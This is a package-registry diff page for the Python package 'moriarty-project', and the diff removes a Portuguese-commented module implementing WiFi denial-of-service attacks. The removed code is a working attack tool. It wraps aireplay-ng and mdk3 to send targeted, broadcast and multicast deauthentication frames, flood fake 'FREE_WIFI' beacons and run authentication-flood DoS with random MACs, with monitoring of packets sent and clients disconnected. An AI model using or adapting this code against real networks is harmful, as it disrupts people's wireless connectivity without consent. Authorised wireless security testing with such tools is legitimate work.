moriarty-project 0.1.20__py3-none-any.whl → 0.1.23__py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -1,340 +0,0 @@
1
- """
2
- Módulo de ataque de desautenticação.
3
-
4
- Este módulo implementa ataques de desautenticação contra redes WiFi, permitindo:
5
- - Desautenticar clientes específicos
6
- - Desautenticar todos os clientes de uma rede
7
- - Enviar pacotes de desautenticação em massa
8
- - Realizar ataques Beacon Flood
9
- - Realizar ataques de desautenticação direcionados
10
- """
11
- import os
12
- import re
13
- import time
14
- import logging
15
- import subprocess
16
- import tempfile
17
- from typing import Optional, Dict, List, Tuple, Any, Callable, Union
18
- from dataclasses import dataclass, field
19
- from enum import Enum, auto
20
-
21
- from rich.console import Console
22
- from rich.progress import Progress, SpinnerColumn, TextColumn
23
-
24
- from ...core.models.network import WiFiNetwork, WiFiClient
25
- from ...core.utils import (
26
- is_root, check_dependencies, get_network_interfaces,
27
- set_monitor_mode, restore_network_interface, command_exists,
28
- get_interface_mac
29
- )
30
-
31
- # Configuração de logging
32
- logging.basicConfig(level=logging.INFO)
33
- logger = logging.getLogger(__name__)
34
- console = Console()
35
-
36
- class DeauthAttackType(Enum):
37
- """Tipos de ataque de desautenticação."""
38
- DEAUTH = auto() # Desautenticação padrão
39
- AUTH = auto() # Pacotes de autenticação
40
- BEACON = auto() # Beacon flood
41
- DISASSOC = auto() # Desassociação
42
- PROBE_RESP = auto() # Resposta a sondas
43
- AUTH_DOS = auto() # Negação de serviço por autenticação
44
- DEAUTH_BROADCAST = auto() # Desautenticação em broadcast
45
- DEAUTH_MULTICAST = auto() # Desautenticação em multicast
46
- DEAUTH_DIRECTED = auto() # Desautenticação direcionada
47
-
48
- class DeauthEventType(Enum):
49
- """Tipos de eventos do ataque de desautenticação."""
50
- START = auto()
51
- PACKET_SENT = auto()
52
- CLIENT_DISCONNECTED = auto()
53
- ERROR = auto()
54
- COMPLETE = auto()
55
- STATUS = auto()
56
-
57
- @dataclass
58
- class DeauthEvent:
59
- """Evento de progresso do ataque de desautenticação."""
60
- type: DeauthEventType
61
- message: str = ""
62
- data: Dict[str, Any] = field(default_factory=dict)
63
-
64
- class DeauthAttack:
65
- """Classe para realizar ataques de desautenticação."""
66
-
67
- def __init__(self, interface: str = None, deauth_type: DeauthAttackType = DeauthAttackType.DEAUTH):
68
- """
69
- Inicializa o ataque de desautenticação.
70
-
71
- Args:
72
- interface: Interface de rede para usar no ataque
73
- deauth_type: Tipo de ataque de desautenticação
74
- """
75
- self.interface = interface
76
- self.deauth_type = deauth_type
77
- self.is_running = False
78
- self.stop_requested = False
79
- self.packets_sent = 0
80
- self.process = None
81
-
82
- # Verifica dependências
83
- self._check_dependencies()
84
-
85
- # Verifica privilégios
86
- if not is_root():
87
- raise PermissionError("Este ataque requer privilégios de root")
88
-
89
- def _check_dependencies(self) -> None:
90
- """Verifica se todas as dependências necessárias estão instaladas."""
91
- required = ['aireplay-ng', 'mdk4', 'mdk3', 'iwconfig', 'ifconfig']
92
- missing = [cmd for cmd in required if not command_exists(cmd)]
93
-
94
- if missing:
95
- raise RuntimeError(
96
- f"As seguintes dependências estão faltando: {', '.join(missing)}\n"
97
- "Instale-as com: sudo apt install aircrack-ng mdk4 mdk3 wireless-tools"
98
- )
99
-
100
- def start(self, bssid: str, client_mac: str = None,
101
- count: int = 0, delay: int = 100,
102
- reason: int = 7, channel: int = None,
103
- callback: Callable[[DeauthEvent], None] = None) -> bool:
104
- """
105
- Inicia o ataque de desautenticação.
106
-
107
- Args:
108
- bssid: Endereço MAC do ponto de acesso
109
- client_mac: Endereço MAC do cliente (None para broadcast)
110
- count: Número de pacotes a enviar (0 para contínuo)
111
- delay: Atraso entre pacotes em milissegundos
112
- reason: Código de motivo da desautenticação
113
- channel: Canal da rede (opcional, tenta detectar automaticamente)
114
- callback: Função de callback para eventos
115
-
116
- Returns:
117
- True se o ataque foi iniciado com sucesso, False caso contrário
118
- """
119
- self.is_running = True
120
- self.stop_requested = False
121
- self.packets_sent = 0
122
-
123
- # Configura o monitoramento de eventos
124
- def event_handler(event_type: DeauthEventType, message: str = "", **kwargs):
125
- if callback:
126
- event = DeauthEvent(type=event_type, message=message, data=kwargs)
127
- callback(event)
128
-
129
- try:
130
- # Define o canal, se especificado
131
- if channel:
132
- self._set_channel(channel)
133
-
134
- # Prepara o comando com base no tipo de ataque
135
- if self.deauth_type == DeauthAttackType.BEACON:
136
- cmd = self._prepare_beacon_attack(bssid, essid="FREE_WIFI")
137
- elif self.deauth_type == DeauthAttackType.AUTH_DOS:
138
- cmd = self._prepare_auth_dos(bssid)
139
- elif self.deauth_type == DeauthAttackType.DEAUTH_BROADCAST:
140
- cmd = self._prepare_broadcast_deauth(bssid, count, delay, reason)
141
- elif self.deauth_type == DeauthAttackType.DEAUTH_MULTICAST:
142
- cmd = self._prepare_multicast_deauth(bssid, count, delay, reason)
143
- elif self.deauth_type == DeauthAttackType.DEAUTH_DIRECTED:
144
- if not client_mac:
145
- raise ValueError("Endereço MAC do cliente é necessário para desautenticação direcionada")
146
- cmd = self._prepare_directed_deauth(bssid, client_mac, count, delay, reason)
147
- else: # Desautenticação padrão
148
- cmd = self._prepare_standard_deauth(bssid, client_mac, count, delay, reason)
149
-
150
- event_handler(DeauthEventType.START, f"Iniciando ataque {self.deauth_type.name}...")
151
-
152
- # Executa o comando em segundo plano
153
- self.process = subprocess.Popen(
154
- cmd,
155
- stdout=subprocess.PIPE,
156
- stderr=subprocess.STDOUT,
157
- universal_newlines=True
158
- )
159
-
160
- # Monitora a saída
161
- start_time = time.time()
162
-
163
- while True:
164
- # Verifica se foi solicitado para parar
165
- if self.stop_requested:
166
- self._stop_process()
167
- event_handler(DeauthEventType.COMPLETE, "Ataque interrompido pelo usuário")
168
- return True
169
-
170
- # Verifica se o processo ainda está em execução
171
- if self.process.poll() is not None:
172
- break
173
-
174
- # Lê a saída
175
- line = self.process.stdout.readline()
176
- if line:
177
- # Conta os pacotes enviados
178
- if "DeAuth" in line or "Sent" in line:
179
- self.packets_sent += 1
180
- event_handler(
181
- DeauthEventType.PACKET_SENT,
182
- f"Pacote {self.packets_sent} enviado",
183
- packets_sent=self.packets_sent
184
- )
185
-
186
- # Verifica se um cliente foi desconectado
187
- if "deauth" in line.lower() or "disassoc" in line.lower():
188
- event_handler(
189
- DeauthEventType.CLIENT_DISCONNECTED,
190
- f"Cliente {client_mac or 'broadcast'} desconectado",
191
- client_mac=client_mac,
192
- bssid=bssid
193
- )
194
-
195
- # Aguarda um pouco antes da próxima verificação
196
- time.sleep(0.1)
197
-
198
- event_handler(DeauthEventType.COMPLETE, "Ataque concluído")
199
- return True
200
-
201
- except Exception as e:
202
- event_handler(
203
- DeauthEventType.ERROR,
204
- f"Erro durante o ataque de desautenticação: {str(e)}"
205
- )
206
- return False
207
-
208
- finally:
209
- self.is_running = False
210
- self._stop_process()
211
-
212
- def _prepare_standard_deauth(self, bssid: str, client_mac: str = None,
213
- count: int = 0, delay: int = 100,
214
- reason: int = 7) -> List[str]:
215
- """Prepara o comando para desautenticação padrão."""
216
- cmd = [
217
- 'aireplay-ng',
218
- '--deauth', str(count) if count > 0 else '0',
219
- '-a', bssid,
220
- '-h', get_interface_mac(self.interface) or '00:11:22:33:44:55',
221
- '--ignore-negative-one',
222
- ]
223
-
224
- if client_mac and client_mac.lower() != 'ff:ff:ff:ff:ff:ff':
225
- cmd.extend(['-c', client_mac])
226
-
227
- if delay > 0:
228
- cmd.extend(['--deauth', str(delay)])
229
-
230
- cmd.append(self.interface)
231
- return cmd
232
-
233
- def _prepare_beacon_attack(self, bssid: str, essid: str = "FREE_WIFI") -> List[str]:
234
- """Prepara o comando para ataque de Beacon Flood."""
235
- # Usa o mdk3 para enviar beacons falsos
236
- return [
237
- 'mdk3', self.interface, 'b',
238
- '-n', essid,
239
- '-c', '1,6,11', # Canais 1, 6 e 11 (2.4GHz)
240
- '-s', '1000' # Velocidade de envio
241
- ]
242
-
243
- def _prepare_auth_dos(self, bssid: str) -> List[str]:
244
- """Prepara o comando para ataque de negação de serviço por autenticação."""
245
- # Usa o mdk3 para enviar solicitações de autenticação em massa
246
- return [
247
- 'mdk3', self.interface, 'a',
248
- '-a', bssid,
249
- '-m', # Usa endereços MAC aleatórios
250
- '-s', '1000' # Velocidade de envio
251
- ]
252
-
253
- def _prepare_broadcast_deauth(self, bssid: str, count: int, delay: int, reason: int) -> List[str]:
254
- """Prepara o comando para desautenticação em broadcast."""
255
- return [
256
- 'mdk3', self.interface, 'd',
257
- '-b', bssid,
258
- '-c', str(self._get_channel() or '1'),
259
- '-s', '1000',
260
- '-n', str(count) if count > 0 else '0'
261
- ]
262
-
263
- def _prepare_multicast_deauth(self, bssid: str, count: int, delay: int, reason: int) -> List[str]:
264
- """Prepara o comando para desautenticação em multicast."""
265
- # Usa o aireplay-ng para enviar pacotes de desautenticação em multicast
266
- return [
267
- 'aireplay-ng',
268
- '--deauth', str(count) if count > 0 else '0',
269
- '-a', bssid,
270
- '-h', '01:00:5E:00:00:01', # Endereço multicast
271
- '--ignore-negative-one',
272
- self.interface
273
- ]
274
-
275
- def _prepare_directed_deauth(self, bssid: str, client_mac: str,
276
- count: int, delay: int, reason: int) -> List[str]:
277
- """Prepara o comando para desautenticação direcionada."""
278
- return [
279
- 'aireplay-ng',
280
- '--deauth', str(count) if count > 0 else '0',
281
- '-a', bssid,
282
- '-c', client_mac,
283
- '--ignore-negative-one',
284
- self.interface
285
- ]
286
-
287
- def _set_channel(self, channel: int) -> bool:
288
- """Define o canal da interface de rede."""
289
- try:
290
- subprocess.run(
291
- ['iwconfig', self.interface, 'channel', str(channel)],
292
- check=True,
293
- capture_output=True
294
- )
295
- return True
296
- except subprocess.CalledProcessError as e:
297
- logger.error(f"Erro ao definir o canal: {e.stderr}")
298
- return False
299
-
300
- def _get_channel(self) -> Optional[int]:
301
- """Obtém o canal atual da interface de rede."""
302
- try:
303
- result = subprocess.run(
304
- ['iwconfig', self.interface],
305
- capture_output=True,
306
- text=True
307
- )
308
-
309
- # Procura por algo como "Channel:11" ou "Frequency:2.412 GHz (Channel 1)"
310
- match = re.search(r'Channel:(\d+)', result.stdout)
311
- if match:
312
- return int(match.group(1))
313
-
314
- match = re.search(r'Channel\s+(\d+)', result.stdout)
315
- if match:
316
- return int(match.group(1))
317
-
318
- return None
319
-
320
- except Exception as e:
321
- logger.error(f"Erro ao obter o canal: {e}")
322
- return None
323
-
324
- def _stop_process(self):
325
- """Para o processo em execução."""
326
- if self.process and self.process.poll() is None:
327
- try:
328
- self.process.terminate()
329
- self.process.wait(timeout=5)
330
- except:
331
- try:
332
- self.process.kill()
333
- except:
334
- pass
335
-
336
- def stop(self):
337
- """Solicita a interrupção do ataque."""
338
- self.stop_requested = True
339
- self._stop_process()
340
- self.is_running = False